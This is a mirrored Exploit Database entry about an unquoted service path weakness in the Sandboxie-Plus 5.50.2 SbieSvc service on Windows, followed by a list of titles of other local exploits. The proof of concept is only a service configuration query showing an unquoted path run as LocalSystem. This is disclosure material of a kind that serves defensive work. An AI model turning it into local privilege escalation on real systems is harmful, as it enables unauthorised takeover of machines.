Sandboxie-Plus 5.50.2 – ‘Service SbieSvc’ Unquoted Service Path

Exploit Database
12 阅读

作者： Antonio Cuomo

日期： 2022-03-10
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/50819/

# Exploit Title: Sandboxie-Plus 5.50.2 - 'Service SbieSvc' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-03-09
# Vendor : David Xanatos
# Version : SbieSvc 5.50.2
# Vendor Homepage :https://sandboxie-plus.com/
# Tested on OS: Windows 10 Pro x64

#PoC :
==============

C:\>sc qc SbieSvc
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SbieSvc
TIPO: 10WIN32_OWN_PROCESS
TIPO_AVVIO: 2 AUTO_START
CONTROLLO_ERRORE: 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files\Sandboxie-Plus\SbieSvc.exe
GRUPPO_ORDINE_CARICAMENTO : UIGroup
TAG : 0
NOME_VISUALIZZATO : Sandboxie Service
DIPENDENZE:
SERVICE_START_NAME : LocalSystem

last Exploits
Sandboxie-Plus 5.50.2 – ‘Service SbieSvc’ Unquoted Service Path的更多信息

Microsoft Windows AppXsvc Deployment Extension – Privilege Escalation：
SpotAuditor 5.3.2 – ‘Base64’ Local Buffer Overflow (SEH)：
Microsoft Windows 10 – CiSetFileCache TOCTOU Security Feature Bypass：
Mini-stream Ripper 3.1.0.8 – Local Stack Overflow：
MooPlayer 1.3.0 – ‘m3u’ Local Buffer Overflow (SEH) (1)：
WinGate 9.4.1.5998 – Insecure Folder Permissions：
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)：
Winamp 5.5.8.2985 (in_mod plugin) – Local Stack Overflow：